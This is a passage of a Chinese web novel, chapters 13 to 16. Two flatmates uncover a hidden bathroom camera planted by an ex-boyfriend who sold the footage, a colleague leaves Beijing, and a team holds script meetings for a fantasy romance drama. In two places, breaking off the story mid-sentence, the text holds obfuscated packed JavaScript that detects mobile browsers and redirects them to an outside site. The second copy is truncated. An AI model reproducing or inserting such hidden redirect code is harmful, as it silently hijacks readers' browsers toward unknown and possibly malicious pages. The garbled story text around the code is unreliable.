秦朗想象得出当时的样子,高考后,他远上北京求学,想到许久都不能见到女朋友,他蹲在火车车厢连接处,也那样失态地哭过。每次吵到分手,他也跟那男人一样不舍和心痛,但7年的感情,终究败给了眼前人。 秦朗眼睛有点红,杨树想说句安慰的话,说不出来,丁盼兮把酒杯一顿,豪气干云:“三个倒霉鬼,都失恋了,再来再来。” 杨树连开两瓶红酒,把秦朗带来的白葡萄酒也一起喝了。喝到后来,丁盼兮把芷江鸭拆开,加热下酒,杨树问秦朗:“以后什么打算?” 秦朗喝酒不上脸,眼睛倒是水汪汪的,他没有哭,但很伤怀:“工作。” 杨树伸过杯子和他一碰:“我也这么想。” 酒足饭饱,杨树去泡茶,丁盼兮切水果,秦朗从卫生间出来,手上拿着一个小玩意儿,神色很严峻:“针孔摄像机。” 丁盼兮大惊失色,杨树拉着她冲向卫生间,秦朗指着它安装的方位,正对准淋浴的地方。他问:“房东干的,还是前任房客干的?” 杨树愤怒道:“一定是他!” 丁盼兮脸色也变了,漫画家道别那天,临走前抹把眼泪问:“卫生间在哪儿,我洗把脸就走。” 房东是一对退休老夫妇,前任房客是两个女人,她们在这里租住了5年多,最大的嫌疑人是漫画家,丁盼兮气晕了,抓起手机就想报警,秦朗建议先拿到证据。 原先那套房子租到了年底,丁盼兮给前房东打了电话,漫画家没退租,他应该仍在北京。杨树和丁盼兮决定先去漫画家那边探探虚实,一发现证据就报警。 算时间,漫画家还在睡觉,可能没发现针孔摄像机已被识破,丁盼兮掏钥匙进门,把他从床上拍醒,哭着说想他了,想和他复合。既然漫画家会演戏,她照猫画虎就是了。 漫画家翻身就把丁盼兮往床上拉,丁盼兮让他去洗漱一下,她想和他在小区外的咖啡厅正式谈复合,对未来约法三章。等两人出了门,杨树和秦朗进屋找证据。 秦朗破了漫画家的账户密码,先是查到他在网上勾搭了几个女孩,聊的内容很露骨。从这里搬走那天,杨树想过,漫画家再不抓紧时间赚钱,年底就会被房东请出去,但他选择再找个冤大头养他。 这个社会上,男人的路比女人顺畅,靠着一点莫须有的才华,就能唬到女人。杨树摇摇头,施严也是,其貌不扬,但才气有那么一点,找的妻子对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16079220|179364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他死心塌地,赚得也比他多,今年春上刚生了二胎,但施严可没少和女同事打情骂俏。 在一个加密的文件夹里,秦朗看到了一系列视频,他点开看了一下就关闭了,让杨树来看,他得报警。 视频全是针孔摄像机所拍摄的洗澡画面,热气腾腾的水雾里,女人浑然不觉地唱着歌。杨树当然能认出是自己和丁盼兮,也只有自己和丁盼兮,她气得想砸电脑,被秦朗扯开。 杨树强忍怒意,给丁盼兮发去信息,让她拖住漫画家。警察到来之前,秦朗发现了漫画家更多秘密。他偷拍杨树和丁盼兮,是为了赚钱,在一个地下网站上,视频被打包卖出,但具体交易金额不知。 杨树气极反笑,兴奋道:“好哇,这次不止拘留5天吧?” 秦朗问:“你不害怕?” “卖都被他卖了,还怕什么?”杨树当然知道此事被公开对自己不利,她是受害者,但很多人会羞辱她,不过,让漫画家受到法律的制裁,这件事才能彻底消停。 警察取完证,丁盼兮才把漫画家骗回家。在铁证面前,漫画家认栽了,他请求私了,从那些买家手中买回视频,免得它继续扩散。丁盼兮不信他的鬼话,会花钱购买视频的男人,还有何信用可言? 漫画家怒问:“你被那么多人看了,你不怕身败名裂吗?” 丁盼兮又羞又愤,自己瞎了眼找的男人,害了杨树,害了自己。但她牢记秦朗的告诫,越是让你忌惮的事,你就越得无畏,无畏才能让你摆脱它的桎梏,她强装淡定:“你搞清楚,身败名裂的人是你。” 从事艺术工作的人,即使不在意虚名,也希望自己的作品广为流传,漫画家还想混圈子,他比丁盼兮更在意身败名裂,闻言狠狠剜了杨树一眼:“你来了就没好事!” 警察表示会尽全力捣毁这个地下网站,阻止视频进一步外流。做完笔录出来,丁盼兮起码对杨树说了几百遍对不起,杨树苦笑,淋浴时室内热气扑面,画面较为模糊,除了自己,没几个人能认出是谁,但恶心感挥之不去,一想到在自己毫无察觉的时候,有一撮阴暗之徒在看视频,她只想吐。 秦朗很后悔,如果没痛揍漫画家,可能不会激怒他,更不会有后续,杨树说:“不揍他,他也会想别的办法害我们,防不住的。我算是明白了,越没前途的人,越喜欢死缠烂打,好不容易逮到一个,当然玩命抓住了。” 丁盼兮低头,眼泪又要下来了,秦朗说:“我喊代驾,把你俩送回家。” 三环又堵了,到了小区门口,已是下午五点。丁盼兮说家里有菜,让秦朗吃了晚饭再走,她和杨树真心把他当成朋友。秦朗却说她俩心情不好,在一起骂骂人,他不掺和,而且他想自己待着。 杨树知道他失恋心情差,没留他。走在小区里,她胸口憋闷,只想大叫,于是仰天喊了出来,丁盼兮怒吼出漫画家的本名:“刘智博,我——艹——你——大——爷!” 喊是喊了,但两人都没能感到好受点,丁盼兮心里窝着火,洗碗时狠狠摔碎了两只。杨树翻出一本戏剧类的专业书阅读,起先还心浮气躁,慢慢地做起了笔记。谁不是两奶一屁股,视频被人看了就看了,如果有人嘲笑她,那是别人狭隘可笑,不是她的问题。 清晨,杨树起床洗澡,看到丁盼兮一双眼睛是肿的,安慰道:“想开点,画面很模糊,看不清楚,再说谁认识我俩呀?脏东西们也就那点出息。” 丁盼兮极力让自己不介意,跟漫画家谈恋爱是最大的丢脸,比视频丢脸多了。她就是不能去想整件事,一想就恶心。 杨树说:“问问你自己,从小到大,丢脸的事做过不少吧?大多不也忘了,这件事也能忘记,再给自己一点时间。” 丁盼兮还是很难过:“可你被我连累了,这是无妄之灾。” 杨树说:“这次看走眼了,下次恋爱多考察考察。” 丁盼兮眼泪涌出,如果当机立断搬家就好了,如果不放漫画家进来就好了。当昔日的枕边人露出狰狞面孔,他就不再是爱人,是恶人,对恶人原本不能心存侥幸。 对漫画家的不可置信,对杨树的愧疚,以及自我厌弃感交织,丁盼兮躺了一上午。杨树炖汤的间隙,不时探头去看她。陈樟嫌她不美,上不了台面,可就算是这样好看的女人,在感情世界也不能幸免于难,依然会被薄待,被羞辱,被伤害得体无完肤。 中午,杨树把丁盼兮拉起来,强迫她吃东西。她以前没和丁盼兮讲过她和陈樟分手的具体细节,今天统统讲出来,丁盼兮睁大眼睛:“你哪里不好了,他以为他是谁,敢这样嫌你?” 杨树拍拍她:“他说的那些混账话,我现在说完就清空,刘智博那个贱人,你把跟他的事也清空,脑容量就那么多,记点重要的事。” 漫画家以制作、贩卖、传播淫..秽物品罪被关押,秦朗以为是激怒了他,他才借着道歉的机会跑来安针孔摄像头,但警察审问得知,漫画家和丁盼兮恋爱期间,拍摄了大量她睡觉时的暴露照片,用来向朋友炫耀。两人分手后,漫画家出于泄愤,把照片发到网上,引来了求购之人。 漫画家打包贩卖了丁盼兮的照片,在对方怂恿下,他计划偷拍视频,为此还找人拆楼道和门口的监控,但技术人员让他先和物业联系。 漫画家没放弃闯门的念头,买过拆监控和更换锁芯的工具。他借着道歉上门,不过是找到了简便之道。秦朗的朋友打不打他,他都会设法闹这一出。 漫画家对罪行供认不讳,杨树在社交网页上关注过几个律师,联系了其中一人,出门签了委托书,请求律师代为打官司。律师让她放心,他力争让漫画家坐上三年牢。 这次是真的安全了,但丁盼兮依然郁郁寡欢,她痛恨自己分手不果断,当她第一次对漫画家失望,就该分手了,就不会被恶心成这样。但杨树觉得,手起刀落的人少,早分晚分,分了就是好事,惟一能做到的是放下,日子是往前过的,跟不怎么样的人恋爱过,也没什么大不了的,下次换个像样点的人就行。 14. 第 14 章 章嘉敏约杨树见面,杨树订了两人都喜欢的一家韩国餐厅。自从上次把胖罐子送给章嘉敏,两人又有好一阵没见了,北京太大了,见次面不容易。 两人吃吃喝喝,聊起青芽图书公司的大事小情。李伊梦和张瑞江有私情,这是杨树还在职就知道的,上周,两人被张太太堵在酒店房间门口。服务员不开门,张太太把门拍得山响,李伊梦和张瑞江穿戴整齐,打开大门,拿着两份图书出版合同,澄清说在谈公事。 张太太不信,李伊梦抬出杨树的继任者——七编室现任主任,人称草包的那位。李伊梦说她和下属谈恋爱,本不想公开,但不能让张瑞江张总蒙受不白之冤。草包赶来,认下男朋友的名头,揽着李伊梦说:“张太太,我相信我女朋友,也希望您相信您先生。” 以李伊梦和草包平时在公司的亲昵劲儿来看,这两人关系清白不到哪里去。但章嘉敏认为,草包不可能没女朋友,好看的男人少有单身的,他那双桃花眼也不允许他单身。 说说笑笑吃完一顿饭,章嘉敏向杨树辞行。婆婆得了甲状腺癌,发现得较早,医生说这是很小的手术,预后良好,可长期生存。但一个癌字,影响了丈夫的情绪,他的抑郁症加重,上个月听说母亲要做手术,他的状态就不好了,一度发展到行动困难,走路需要章嘉敏搀扶。 章嘉敏和丈夫是相亲认识的,丈夫今年37岁,他的抑郁症是典型的中年危机导致,他做电力工程,工作压力很大。如今丈夫患了病,婆婆急需做手术,女儿还在念幼儿园,章嘉敏和丈夫反复商量,下定决心离开北京,回到丈夫老家甘肃永登生活。 杨树又惊愕又难受,图书编辑收入不高,章嘉敏和丈夫还得养孩子,过得很节省,每天带饭来公司吃,衣服也买得极少,几件卫衣和帽衫换着穿,从秋天到春天。但即使这样拮据,章嘉敏也从来没想过要离开北京,她跟丁盼兮一样,也是在北京读的大学,她对北京感情很深,可她却终究要走了。 图书行业日薄西山,但甘肃小城更没有发展空间,杨树问:“真的想好了吗?” 章嘉敏点头,她和丈夫感情还行,总不能因为不想去甘肃就离婚吧。女儿是必须留在自己身边的,章嘉敏想过,让丈夫独自回乡,自己带着女儿在北京生活,可她还得上班,谁来好好看护女儿?做图书攒不下什么钱,她想转行,但进入任何新领域,想站稳脚跟,都会很辛劳,女儿怎么办? 丈夫大学毕业和公司签约,公司解决了他的北京户口,但夫妻俩家里都帮不上忙,这些年虽然攒点钱,离首付差得远,收入赶不上房价增幅,一直买不上房子。回到小县城,他们的积蓄能在中心城区买两套。 章嘉敏是家里的独女,老家在江西,她说结婚了,只能以自己的小家庭为重。杨树心情沉重,老板娘有句话说得在理,有些事,没有走进婚姻的人不能感同身受。 章嘉敏和杨树走得近,但她是老编辑,李伊梦倚重她,对她倒不差。去甘肃后,她会继续做兼职图书编辑工作,再帮人做点PPT,推荐IP,总能糊个口。丈夫的身体逐渐在恢复,等婆婆手术做完,他会去县城中学教书,他有个同学当副校长,跟他签个聘用合同。北京航天航空大学硕士毕业,教初中物理绰绰有余。 章嘉敏32岁,她说成家立业后,要考虑的事情太多,尤其是身为北漂,都得面临远在家乡的父母日渐老去的事实,混得好的,能把他们接来北京,混得不好的,只能回去。杨树听得头疼,她爸身体硬朗,但她也是独生女,没有帮手,她不敢去想她爸年纪再大些怎么办,很怕到时候应接不暇。 章嘉敏已打好行装,下周就启程回甘肃,杨树和她聊到餐厅打烊,换了一家快餐店聊到夜深。 章嘉敏开了丈夫的车出来,送杨树回家。杨树头靠着窗,听章嘉敏细诉北京教会她的那些事。19岁以前生活在江西县城,文娱上的享受仅仅是从生活费里省出钱上网和买书,来到北京后,第一次去看话剧,听演唱会,参加沙龙,被形形色色的人带着领略大千世界,如今却又要回到精神贫瘠的另一个县城。 北京就是这样,永远不缺人投奔,也永远会有人告别。在这里奋斗的人,很多都不舍得离开,但随着年纪稍长,都不得不考虑父母家人。杨树心中感伤,北京教会章嘉敏很多事,章嘉敏也教会她很多事。初去青芽图书公司,杨树连书脊厚度都不知道怎么算,是章嘉敏一点一滴传授,永远耐心,永远细致。 部门经常合作的设计师家住在遥远的顺义,每次去找设计师商量封面和版式,两人总一前一后坐在公交车靠窗的座位聊天,窗外是北京短暂的春天,天空湛蓝,杨絮飞舞,那时章嘉敏说:“来北京才知道诗里的杨花雪是什么意思,北京让我得了鼻炎,我也还是觉得北京很好。” 这么喜欢北京的人,却不得不走。丁盼兮安慰杨树,现在交通和通讯都发达,虽然分离,却也是天涯若比邻。两人没搬到一起住之前,同在北京,见面次数不多,平时都通过网络联系,章嘉敏也无非是换个地方上网和杨树联系罢了。 可是,章嘉敏随夫迁到遥远的小城,照顾老人和孩子,她的职业之路被迫中断了,杨树对她的未来很是担忧,丁盼兮说:“连我都知道,是中断,不是终断,等她男人身体好起来,孩子长大点,还能捡回来。” 已是深夜,对面那栋楼很多窗口仍亮着灯。也许,许多人拼尽一生,才能换来在这里的小小立足之地。 23岁随劳务派遣公司的大巴来北京,杨树在嘈杂破旧的临街面外贸公司上班,坐公交车经过CBD区那些华丽高楼,她总觉得那里面是另一个世界的人,尽管她也能操着一口流利英语。 在日复一日奔波劳累的夜晚,杨树总跟自己说不喜欢大城市,哪天混不下去了,回小地方可能没这么累,可是章嘉敏离开,她感到满心孤独 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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玲子在家看孩子,市面上热门不热门的霸道总裁小说和电视剧,她津津乐道。去年她信了佛,坚持吃素,每季度买些青蛙黄鳝放生。她说大师算出她是旺夫命,丈夫愿意给她花这个钱。 杨树和玲子偶尔有联系,玲子把感恩挂在嘴边,劝杨树别把男人太当回事,钱拿回家就行,还建议杨树也信佛,信佛的人心态平和。 心态平和是表象,杨树知道玲子是在找些方式说服她自己,不这样,她就没办法消解生活里那些不堪承受的东西。 章嘉敏一家要过安检了,杨树亲亲章嘉敏的女儿,把她从怀里放下来,目送一家三口离开,鼻子发酸。 一起加班的夜晚,章嘉敏说起自己经手的哪本书上了排行榜,哪本书是年度最受读者欢迎十佳,眼睛闪闪发光,她说她的目标是成为优秀的出版人,让更多人看到她精心挑选的作品。 “想象一下,我做的书,摆上乡镇图书角,被一个中学生读到,鼓舞她,影响她,要么是陪伴哪个生活不幸的人,度过一点苦闷的时间,我都觉得我们的工作特别有意义。”章嘉敏如是说过。杨树默然往回走,当年来北京,章嘉敏想过有朝一日,会跟着丈夫去遥远的小城安居吗? 时光一去不复返,坚持理想的人寥寥无几,章嘉敏说她不会放弃,但事到如今,杨树只盼望她丈夫早点康复,她身上的担子能轻点。 15. 第 15 章 杨树身为原告,跟律师保持着联系,警方捣毁那个地下网站,撸了一大串从事非法色情交易的人,然而,那段糟糕的恋情让丁盼兮种下了心病,当看到针孔摄像机那一刻,她觉得自己的喉咙里都是蠕虫,恶心感翻腾。她不能去想漫画家那张脸,想到那些亲密的曾经,想到和那样的人同床共枕,她就只想杀死自己。 公司商务部总监对丁盼兮追得紧,晨昏定省,但丁盼兮对恋爱提不起兴趣,模棱两可地相处。一段深刻关系结束后,难免会有创伤,开展新恋情也许能疗伤,杨树很希望丁盼兮能抓根救命稻草,但她自己更愿意把精力花在工作上。 10月下旬,《天作之合》交出了前5集剧本定稿。剧本周期漫长,进展飞快的有,大多数都是走走停停,《天作之合》属于推进顺利的。 《瓷缘》在导演介入后,剧本大纲也稳健推进,编剧交出最新一版,正根据导演意见作出修改完善。 《天作之合》编剧和责编及制片人频繁开过剧本讨论会,都是内部小型会议。如今前5集剧本定稿已出,可以向卫视兜售了,制片人和责编都感觉还算拿得出手,本着精益求精的原则,喊各路人马再提提意见,争取顺利得到卫视的认可。 杨树喊上姜妤和易无去参加剧本会,前5集剧本已改过几次,即使是第一版初稿,制片人和责编都是一口气看完,但制片人有个顾虑,这两年霸道总裁当道,但《天作之合》的兔子总裁不霸道。 传统偶像言情剧,纯情小白兔式的角色是女主角,换成男的,制片人心里没底,他问众人:“你们女的都喜欢兔子总裁吗,能感受到他的魅力吗?” 杨树说:“能啊,纯情深情还专情,这个总裁很可爱。” 姜妤和易无也都点头,制片人又说:“我总觉得他不够爷们,被狼秘书处处压一头。” 原著作者说:“可我这个文最大的看点就是调戏纯情男人,不然‘诱僧’题材为什么总有人看?” 杨树说:“不是所有女人都喜欢大男人。” 制片人说:“但你只能代表你个人,从收视率和话题讨论度来看,绝大多数女观众还是喜欢强大得让她能依靠的男人。” 原著作者带点情绪道:“我这个小说成绩还可以,上过月榜半年榜,看的人很多,我觉得读者和观众有很大的重合度。” 制片人明白她的意思,但他是第一次做制片,吃不准女强男弱经不经得起市场检阅,毕竟投资2千万,不是小钱。 编剧说:“我们男主在商业上运筹帷幄,已经体现他强大的一面了。至于在感情上不强势,女观众也爱看,男主越爱女主,爱得抓心挠肝,求而不得,女观众就越喜欢。” 制片人有点迷惑:“之前红的那几部,男主不都对女主恶声恶气,呼来喝去吗?” 原著作者说:“那都是表面现象,他表现得凶,是在虚张声势,女主跟男二跑了,他就端不住了,还不是得挖空心思追回来?” 姜妤说:“反正我看言情剧,特别喜欢看男主含泪凝望女主,借酒消愁,为情所困,越颓废越卑微,越让我觉得心碎又过瘾,代入感特别强。” 制片人一琢磨,认为也有道理,但还是拿捏不定,兔子总裁外强中干,有点悬。杨树问:“您自己是男人,所以接受不了男人看起来不如女人强势吗?” 制片人说:“我是从生活逻辑出发,要不,我们再改改?增强男主在感情上的主动性?不然一上来就慌里慌张没气势,观众撑不了两集就弃剧。” 编剧说:“可我们现在讨论的是戏剧逻辑。男主在感情上当然有主动性,但这是有过程的,一开始他的确是纯情小白兔,中间就不是了,您看分集梗概,我们很快就让他反攻了。” 原著作者的情绪越发明显:“如果您要那样的故事,何必在我这个小说基础上修改?” 制片人挺委屈:“我当然是看中它优点很突出,就是怕女观众不好接受。” 杨树笑着说:“反正您挑演员,肯定得挑帅的,一张好脸往那儿一杵,还是个总裁,天然就有吸引力了,何况这个前5集写得真的挺好看。” 易无说:“我以前完全不看言情剧,剧本我也很顺畅看完了。” 会议后,制片人没让编剧再改,把《天作之合》大纲、分集梗概和前5集剧本提交给卫视,得到夏停正面评价,夸它写得甜蜜可爱,采购意向很明确,台里准备投入一部分资金,成为它的出品方,拿到独播权。 长夜影视公司是挂靠关系,交给卫视独播的话,售价不算高。制片人从卫视采销部走出,心里有了主意,既然卫视很看好它,拿给别的平台也差不了。与其独播,不如把主动权掌握在自己手里,多卖一家卫视,捎带再卖几家视频网站,比独播划算得多。 夏停夸归夸,仍提了几条意见和建议,制片人再次召开剧本会。现有的大纲和剧本里,对兔子总裁和狼秘书从事的职业写得很虚,工作部分基本是开会和拜访客户。夏停建议落地到具体的行业,便于让男女主角屡次陷入在众人面前露馅的危机,两人的感情也能在这些事件中不停转变,而不仅仅只是彼此之间身份暴露的危机。 编剧说这条建议很中肯,两个主角共同对敌,是感情最佳催化剂,她很受启发,想到了一个职业身份,律师。 精英人士一般也能归类到霸道总裁范畴,律政题材能写精彩案例,编剧摩拳擦掌,想设计几场激烈的庭辩,不仅能彰显男主角的魅力,还能加点可供探讨的空间:兔子和狼辛苦化为人形,但人类社会依然是丛林社会,唇枪舌战是不见血的刀光剑影,弱肉强食也依然存在。 制片人不赞同律师设定,首先,写到庭辩,就会涉及到公检法部门,将由相关部门联合审查,麻烦。其次,《天作之合》是偶像剧,不适合探讨深刻问题。 责编说:“也是,我都看偶像剧了,就想减减压,不带脑子,想看深刻点的,我选别的。” 易无想到了另一种:“餐饮怎么样,连锁酒店那种?他们本身就是动物变的,看到动物变成人类盘中餐,肯定能有很多反应,害怕啊,愤怒啊,想扭转局面什么的。” 杨树听乐了:“兔子总裁抱头鼠窜,心想自己绝不能去四川,不然脑壳不保。” 众人哈哈笑,制片人说他脑子里浮现出冻库、屠宰场等血腥场面,餐饮业乍一听还行,但偶像剧太实了不行,损伤梦幻感,还得再想。 杨树顺着易无的思路,提议道:“大卖场行吗,类似麦德龙那种Mall,不用拍血腥场面,就是干干净净的购物氛围。但会涉及大块情节,总裁和秘书去农场考察啦,总裁处理消费者食品中毒危机啦,力挽狂澜把销售额做上去啦,给留守儿童捐助物资啦,能写的好像挺多。” 编剧兴奋道:“这个好,这个好!Mall洋气,符合总裁身份,画面也漂亮,农场也能拍果园什么的,不土。” 杨树笑道:“狼秘书看到青草地,撒欢儿跑,兔子总裁偷偷啃了几口胡萝卜,他在城里很少能吃到这种带有土腥气的好东西了。” Mall设定予以采纳,议题进入下一个。现有设置里,反派是兔子总裁的小青梅,她真身是小鹿,扑闪着大眼睛,严格来说不是反派,是给男女主角感情造成误会和矛盾的工具人,夏停在审片意见里建议:“能不能让两个主角拥有共同天敌?” 杨树从这两条意见不难看出,夏停很希望让两个主角共度难关,狼有狼的弱小之处,兔子有兔子强大的时候,关键时刻并肩作战。 易无从习惯思维出发,认为共同天敌是人类,但既然故事背景是人类社会,大反派是狼的天敌为佳,狼都怕,兔子更会吓趴下。 编剧查到资料:“熊、老虎、狮子这种大型动物都是狼的天敌,食狼鹰之类的猛禽也算。” 制片人说:“狮子吧,狮子王挺威风的,还能跟狼秘书有点感情戏,让他当男二怎么样?” 编剧越发开心,按现有分集梗概,为了撑满24集剧本,12集开始,将会有不小的篇幅写副线,即狗头军师和狐狸对家那对副CP,可能有注水之嫌。但加个强势的大反派男二号,既能让女主角这边多生点事,也能更加激发男主角的主动性,他克服性格上的怯意,为爱勇敢征战,观众爱看这个。 其他意见都是无伤大雅的小调整,但针对这两条主要意见,修改量不小,原著作者又不乐意了:“上次交剧本大纲和策划案,卫视怎么没提这些意见?” 会议效率很高,制片人满面笑容:“可见台里很看重咱们戏。他们有了新的思考,这是好事,总比看了样片再挑剔不买好吧?” 编剧评估了一下,答应半个月内修改完毕。这次改完,制片人就能拿去磕演员,谈导演了。 喜欢《天作之合》剧本的女演员很多,男演员相对少一点,可能对出演怂乖的兔子有点心理抵触。制片人约谈了若干女演员,最青睐顾叮叮。 顾叮叮是选秀明星出身,追捧者众,并且真金白银肯为她花钱。她的处女作是古装言情剧,饰演女二号,但她很有观众缘,获得不少关注,明年还有两部小成本的古装剧待拍,都是女一号。 《天作之合》递给顾叮叮的经纪公司,老板认为狼秘书一角有意思,替顾叮叮做了主。在一众对《天作之合》有兴趣的女演员里,顾叮叮不是最红的,但她片酬要得低,粉丝也多,制片人谈定她,再找男主角就很顺利了。 顾叮叮在上升期,想跻身线上的小艺人都想和她搭戏。制片人选了白杨,他签的公司参投《天作之合》,是联合出品方之一。 白杨出道就演院线电影,都是重要配角,电视剧只演过一部都市题材的男三号,片酬很友好,并且长身玉立,面容俊美,最关键是他从小学乐器,气质纯净,很符合兔子总裁的形象。 顾叮叮和白杨都不算有演技,但偶像剧对演员的长相气质要求高于演技,养眼、般配很重要。制片人看过白杨的作品,认为他演得出来,至少演得能看。毕竟兔子总裁比狼秘书好演点,会哭会笑就行。 女主角知名度相对较高,男主角个人条件很出色,卫视方面认为配盘成功。这种小成本的偶像剧,主演是俊男美女,有CP感是第一考量标准,他们对知名度没做太高要求。 既然卫视认可了顾叮叮和白杨,制片人签了正式协议。为了压缩成本,男女二号等人都用长夜影视公司自己的签约演员,他们便宜听话。 偶像剧目前首选是台湾导演,他们模仿日本偶像剧起家,执导风格细腻柔情,酬劳也不算太贵,制片人拿着《天作之合》新剧本去谈第一意向的台湾导演,但长谈后,他打消了念头。 台湾导演认为狼秘书攻击力太强,主动性格应该给男主角,女观众爱看的是被爱,他很重视合作,让助手根据他口述意见,写出改动建议,变成狼总裁和兔子秘书。 若是在项目创作之初,制片人可能会接受台湾导演的建议,但前5集剧本的确很好看,卫视采购意愿强烈,他吃了定心丸,想尝试一下非常规做法。而且他通过夏停的审片意见,明确了卫视方想要的东西,他得尊重夏停,起码在销售时也有个保底。 《天作之合》是个很年轻化、二次元的项目,台湾导演理念过时了,制片人着手寻找年轻点的导演,舒纹主动去找他,但被婉拒了。 舒纹找杨树喝下午茶,倾诉苦闷。她仔细看了《天作之合》剧本,找制片人认真聊过想法,但影视业太难出头了,别说当导演了,她退而求其次,想当个摄影师,制片人没松口:“有点作品的导演都有自己固定的合作班底。” 杨树安抚了几句,之后从姜妤处她才知道,舒纹跟台湾导演观点一致,认为女主角处处围堵男主角,试图使他成为怀中物,太过于咄咄逼人。她说:“女主是秘书,动不动就让总裁吃瘪,这叫忤逆吧,总裁怕得要命,却没开除她 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导演说:“爱情不就是患得患失,颤抖着去接近吗?只要演员找得恰当,这个角色少说能小火一把。” 导演的创作观和剧本气质很契合,过往作品也以美学见长,制片人和他签了约。其余角色也陆续签定了,导演忙着选景勘景,以及跟服道化班子商议细节,制片人忙着去找钱。按常理推断,《天作之合》能赚钱,但这行红不红,热不热播都是玄学,公司不打算全部投资。 制片人接收了卫视5百万投资,但没签独播协议,给他们优先回款,分成比例也比较高,将来多卖几家平台,他们也开心。 演员档期已定,《天作之合》最迟1月底就得开机,编剧带着原著作者疯狂赶稿。要填充的内容太多,得花时间想梗,原著作者压力大得睡不着觉。 今年冷得早,11月初就下了雪,杨树拉着丁盼兮出去吃火锅,隔着落地窗欣赏鹅毛大雪。食客们大呼小叫拍摄雪景,丁盼兮开心不起来,漫画家仍未宣判,她时时做噩梦,已习惯开灯入睡,但睡眠极浅,找医生开了助眠药。 杨树也梦见过漫画家几次,梦里他提前出狱,埋伏在她下班路上,冲出来掐她脖子,丁盼兮愕然,她做过很相似的梦。两人越想越毛骨悚然,订了密码指纹锁换上。 家里所有房间都安上监控,丁盼兮仍然疑神疑鬼,失眠症日益严重,总是对着镜子叹气,她睡不好,黑眼圈退不去,还有眼纹了。她才28岁,她不想老。 秦朗问起官司进展,丁盼兮还在等消息,也许要到漫画家被终审判决,她和杨树才不那么抗拒卫生间,两人每次用卫生间,仍觉得有无数双无形的眼睛在偷窥。 秦朗问:“要不要搬到我这边?” 秦朗和两个同事合租三居室,一人打算拿了年终奖就辞职,年后不回北京了;另一人的男朋友刚从外地分公司调回北京,想搬出去住套二居室。如果杨树和丁盼兮肯搬家,秦朗就不用再发布招租启事,他在那里住惯了。 杨树的个人物品不多,对搬家没意见,丁盼兮本来有惰性,但上次就因为舍不得钱,还懒得再重新收拾,才给了漫画家可乘之机,她也同意搬走,让那对情侣搬过来。 想辞职那人是男人,东西很少,很爽快地表示随时能搬走,有暖气有床,能洗热水澡就行。于是众人挑了一个周末,秦朗的室友们搬到这边,杨树和丁盼兮搬去和秦朗同住。 丁盼兮服饰多,搬家用了16个编织袋。秦朗帮着搬收纳箱,定睛一看,全是化妆品和护肤品,一瓶又一瓶,一罐又一罐,一盒又一盒,他很纳闷:“你不就长了一张脸吗?” 美人哪有几个朴素的,杨树大笑:“千面女郎,你懂不懂啊?” 丁盼兮只收拾了一小半就喊累,晚上和杨树挤一张床,敷着面膜问:“他不是有过女朋友吗,这还用问?他俩从大学就异地恋,他会不会没跟人同居过?” 杨树闭着眼睛酝酿睡意,嗯了一声。丁盼兮自言自语:“那还挺纯情的,你说,我追他有戏吗?” 丁盼兮追求者没断过,每当心情不好,她就坐在家里瞎分析。甲长得周正,但谈吐无趣,说不到一起,闷;乙相貌平平,天南地北挺能侃,不像个安分的;丙模样能看,职位也高,但他认为女人就该相夫教子,他说像丁盼兮这样的美人,抛头露面讨生活未免可惜。 丙是丁盼兮单位的总监,她本来敬他是专业人士,把他纳入考察对象,但对象根本经不起考察。至于丁戊己庚辛壬癸那些人,综合分没一个高的,哪及秦朗,第一次见到他,丁盼兮心里就犯酸,哪个女的这么好福气。现在机会来了。 杨树让她别急着下手,情侣之间分分合合是常有的事,7年感情不是说放就能放下的,哪天前女友想回头,此人说不定虚怀若谷接纳了她。 丁盼兮挺自信:“我也没打算直戳戳追他,不过住都住到一起了,我铆足劲表现,不信他看不见。” 丁盼兮一搬进来就侦察了冰箱,冷冻室有速冻水饺和馒头,她特地调了闹钟,提前半小时起床,想做顿爱心早餐,秦朗已经出门上班了。 杨树嘲笑她:“一边觉得相夫教子很刺耳,一边以为靠贤惠就能吸引男人。” 丁盼兮很苦恼:“可我也没别的优点啊,也就做饭还可以。” 杨树乐了:“你知道你最大的优点是什么吗?” 丁盼兮撩撩头发:“美而不自知?” 杨树大乐:“镜子会告诉你,周围的人也会告诉你,你还能不自知?依我看,你最大的优点是美而无知。” 丁盼兮扔过一只抱枕,杨树跳开去洗脸。丁盼兮犯了难,长这么大,都是男人追她,她没追过男人。除了露两手厨艺,她想不出怎样才能让秦朗对她青眼有加。 杨树也想不出来,她谈过两次恋爱,都是自自然然来往,水到渠成在一起。她用筷子戳起两个刀切馒头吃了,喝完咖啡去上班,今天要开《瓷缘》剧本会。 16. 第 16 章 《瓷缘》是公司重点项目,剧本几易其稿,交出前5集,导演让编剧发到工作大群里,请大家都看看,他还特意点了杨树的名:“你也提点意见,及时和原著作者沟通。” 入职半年多,杨树勤于旁听会议,阅读影视理论书籍,摸着门道去看待戏剧,认真提了两页纸的意见,但剧本讨论会上,她才发现自己的意见太拘泥于细节。 文字有文字的力量,影像有影像的表达,杨树看完剧本前5集有个最直观的感受,相对于刘书云写的小说,剧本减了分。 原著里,人物跟生活贴身肉搏的盘根错节写得很扎实,还时有逸出的一笔,去抒写那时代特有的诗意,但编剧在改编上,冲突设计痕迹很重,巧合太多。 《瓷缘》从题材上来看,不属于流行类别,从制片人到导演,都想做成口碑剧,耐看,耐咂摸,但这点对编剧要求很高,他们交出来的剧本很规整也很乏味。 乏味是最致命的,杨树平心而论,剧本她也能流畅看完,在平均分之上,但像一份标准答案,不能说它不对,但拿不了高分。导演一言蔽之:“太年轻了,写重头戏的能力还差点,整场都塌了。” 